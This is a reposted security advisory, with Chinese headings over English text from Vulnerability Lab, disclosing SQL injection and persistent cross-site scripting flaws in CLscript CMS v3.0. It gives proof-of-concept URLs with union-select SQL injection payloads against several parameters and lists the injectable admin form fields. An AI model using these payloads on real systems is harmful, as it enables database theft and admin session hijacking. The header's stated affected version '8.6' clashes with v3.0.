CLscript CMS v3.0多重缺陷的介绍及其修复方法

CLscript CMS v3.0 - Multiple Web Vulnerabilities
    缺陷影响版本:8.6
    程序介绍:
    =============
    With the professionally developed Classified-Portal CLscript 3.0 can Visitors post Classifieds and
    use many new Features. The Classifieds Software is search Engine friendly to gain better Promotion
    Aspects at search Engines. The whole Structure is manageable through easy to use AdminPanel.
    In developing the Classified Software, we have geared ourselves to the most successful
    Classifieds-Sites on the Internet. You can generate real Income from your Classifieds Website.
    更多请查看官网
    摘要
    =========
    CLscript v3.0 Content Management System中被发现多个缺陷
    影响产品:
    ==================
    CLscript COM
    Product: CLscript Classified Software v3.0
    技术分析:
    ========
    1.1
    多个注射
    The vulnerability allows an attacker (remote) to inject/execute own sql commands on the affected
    application dbms. The vulnerabilities are located in the userDetail.php, advertise_detail.php or
    land.php files with the bound vulnerable pid, rid and id parameters. Successful exploitation of the
    vulnerability results in dbms, service & application compromise.
    Vulnerable File(s):
    [+] userDetail.php
    [+] advertise_detail.php
    [+] land.php
    Vulnerable Module(s):
    [+] land
    [+] pageDetail
    [+] enquiry_detail
    [+] userDetail
    [+] advertise_detail
    [+] config_id
    Vulnerable Module(s):
    [+] rID
    [+] ID
    [+] pID
    [+] faq_id
    [+] sp_id
    [+] config_id
    1.2
    Multiple persistent input validation vulnerabilities are detected in the CLscript v3.0 Content Management System.
    The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
    The input validation vulnerabilities are located in the topic, new word, subcategories, add a new help, add currency
    or add new FAQs modules. Remote attackers can inject script code to the vulnerable modules by injecting malicious
    tags as titles, descriptions, word names, category names, currency code or as questions. Successful exploitation
    of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation.
    Exploitation requires low user inter action & privileged user account.
    Vulnerable Module(s):
    [+] Topic
    [+] New word
    [+] Subcategory
    [+] Add a new help
    [+] Add currency (Symbol - Currency code)
    [+] Add new FAQ (Question)
    Vulnerable Parameter(s):
    [+] (title - description)
    [+] (word name)
    [+] (category name)
    [+] (name)
    [+] (symbol - currency code)
    [+] (question)
    测试证明:
    =================
    The sql injection vulnerabilities can be exploited by remote attackers without privileged user accounts or user inter action.
    For demonstration or reproduce ...
    PoC:
    http:// /[INTERFACE]/land.php?file=edit_config&config_id=1'+order+by+1--%20-[SQL-INJECTION!]
    http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=edit_config&config_id=-1'+union+select+1,
    group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()--%20-[SQL-INJECTION!]
    http://n1.127.0.0.1:1338/[INTERFACE]/pageDetail.php?pid=-1'+union+select+1,version(),3,4,5,6,7--%20-[SQL-INJECTION!]
    http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=edit_diycontent&pid=5'[SQL-INJECTION!]
    http://n1.127.0.0.1:1338/[INTERFACE]/enquiry_detail.php?rID=-20'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--%20-[SQL-INJECTION!]
    http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=add_edit_spam_words&sp_id=45'[SQL-INJECTION!]
    http:// /[INTERFACE]/land.php?file=catalog&parentId=608[SQL-INJECTION!]
    http://n1.127.0.0.1:1338/[INTERFACE]/userDetail.php?id=487[SQL-INJECTION!]
    http://n1.127.0.0.1:1338/[INTERFACE]/advertise_detail.php?id=77[SQL-INJECTION!]
    http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=edit_faq&faq_id=24[SQL-INJECTION!]
    1.2
    The persistent input validation vulnerabilities can be exploited by remote attackers with local low privileged user accounts and
    with low required user inter action. For demonstration or reproduce ...
    PoC:
    1) http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_forum
    create topic (title - description is injectable)
    2)
    http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_spam_words -
    add a new word (word is injectable)
    3)
    http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=catalog&parentId=608 -
    add subcategory (category name is injectable)
    4)
    http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_help -
    add a new help
    5)
    http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_currencie
    Add currency (Symbol - Currency code is injectable)
    6)
    http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_faq
    add new FAQ (Question is injectable)
    风险
    =====
    1.1
    The security risk of the sql injection vulnerabilities are estimated as critical.
    1.2
    The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
    --
    VULNERABILITY RESEARCH LABORATORY TEAM
    Website: www.vulnerability-lab.com
    Mail: research@vulnerability-lab.com